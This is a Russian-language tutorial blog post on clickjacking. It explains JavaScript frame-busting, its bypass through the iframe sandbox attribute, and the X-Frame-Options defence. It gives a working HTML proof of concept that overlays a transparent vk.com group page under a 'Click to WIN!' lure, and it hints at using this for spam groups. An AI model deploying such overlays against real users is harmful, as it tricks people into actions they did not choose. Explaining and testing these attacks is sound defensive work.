Дорогой друг, здравствуй!
В этом посте пойдет о речь о сущности Clickjacking атаки, методах воздействия на пользователя и противодействия данной уязвимости.
Что есть Clickjacking?
Кликджекинг (англ. Clickjacking) — механизм обмана пользователей интернета, при котором злоумышленник может получить доступ к конфиденциальной информации или даже получить доступ к компьютеру пользователя, заманив его на внешне безобидную страницу или внедрив вредоносный код на безопасную страницу. Wiki
Говоря по-русски, мы создаем страницу, используя iframe, или аналогичный метод, установив прозрачность данного iframe до 0, и разместив поверх него определенный текст. Тем самым, мы можем ввести пользователя в заблуждение и заставить его выполнить определенные действия.
Методы противодействия
Вы скажете: «Почему мы узнаем как противодействовать атаке, если даже не умеем её эксплуатировать?». Но ведь для использования атаки нужно удостовериться, что интересующий нас хост уязвим, только тогда мы сможем воспользоваться уязвимостью.
Существует несколько способ защиты. Ну по крайней мере так думают некоторые.
Дело в том, что когда в 2008 году сделали публичное разглашение данного типа атак (что брехня, ибо об этом говорили и раньше, просто в силу малой известности авторов, способ не уходил в массы) начали использовать easy fix для противодействия, что является псевдозащитой. А через некоторое время, браузеры начали поддерживать специальный заголовок, который ставит ограничения, либо вовсе запрещает загружать iframe на хостах, отличных от данного. Итак, разберем эти две защиты на живом примере.
top != self или псевдозащита
Как я уже говорил, данный способ появился почти сразу же, и являлся еще хоть какой-то защитой, до недавнего времени.
Рассмотрим пример «защиты». Имеем страницу, загружаемую в iframe.
Теперь внедряем код и даже видим, что она как будто бы работает.
Но с появлением HTML5 и поддержкой всеми современными браузерами, эта защита элементарно обходится.
HTML5 принес нам поддержку атрибута sandbox.
Скажем так, что это не единственная подобная «защита». Вся она основана на JS и легко обходится.
Заголовок X-Frame-Options
Данный заголовок позволяет нам полностью или частично ограничить загрузку ресурса в iframe. Обойти крайне трудно, т.к браузер обрабатывает заголовок напрямую и обход является уязвимостью браузера. Данный способ наиболее приемлем, на сегодняшний день.
Работа заголовка на google.ru
Clickjacking ВКонтакте
Ну вот мы и добрались до практического применения наших знаний.
Первое, что должен проверить пентестер, наличие заголовка.
Как мы видим, заголовок X-Frame-Options отсутствует, т.е сайт уязвим.
Попытавшись загрузить сайт в iframe, получаем непрогрузившуюся страницу.
Добавив sandbox, прогружаем страницу.
А вот и виновник
Размещаем текст под кнопкой «Вступить в группу».
Имеем страницу, ну или биткоин групп, если вы понимаете, о чем я :)
<html>
<head>
<title>Clickjacking vk.com</title>
<style>
iframe {
position: absolute;
opacity: 0.2;
z-index: 2;
}
</style>
</head>
<body>
<iframe sandbox width='400' height='500' src='https://m.vk.com/drinkingandcats'></iframe>
<a id='a' style='position:relative;left:140px;top:127px'>Click to WIN!</a>
</body>
</html>
Ну вот, собственно, и все. Вид страницы может быть любым, но лучший способ атаки — повесить картинку крестика, закрытия баннера, поверх страницы. Лучший способ.
Демо доступно здесь: воооот тут. Для достижения эффекта, вы должны быть авторизированы на vk.com.
Смотрим себя здесь
PS: Прошу помощи инвесторов или просто добрых людей. Вдруг среди вас найдется пару тройку страйкболистов. Есть одна контора, которая делает великолепные модели ПК. Эти модели не имеют аналогов и в сотни тысяч раз лучшего того, с позволения сказать, продукта, выпускаемого Китаем. Они на грани закрытия, т.к модели стоят хороших денег, а заказов мало. Будет очень жалко, если они свернут свою деятельность. Собственно: группа, человек, обзор их модели ПКМ. Не считать как рекламу, ибо с предприятием не знаком, не имею абсолютно никакой выгоды, так что не считать как рекламу :)
PS2: Провожу аудиты, если вам интересно, контакты в профиле. Не реклама, так как я студунтешко и на правах автора, прошу понять и простить :)
Автор: fil9
Перечитал дважды, но так и не понял, поэтому спрошу “в лоб”,) Если я вебмастер (не программист) ставлю какой-нить виджет или код, например, http://callbackhunter.com/ как мне проверить, что он не собирает данные с посетителей сайтов с помощью этой методики? Яндекс за это наказывает и жестко https://yandex.ru/blog/webmaster/chernyy-klikdzheking-s-polnym-ego-razoblacheniem, но ни фига не понятно как проверить то?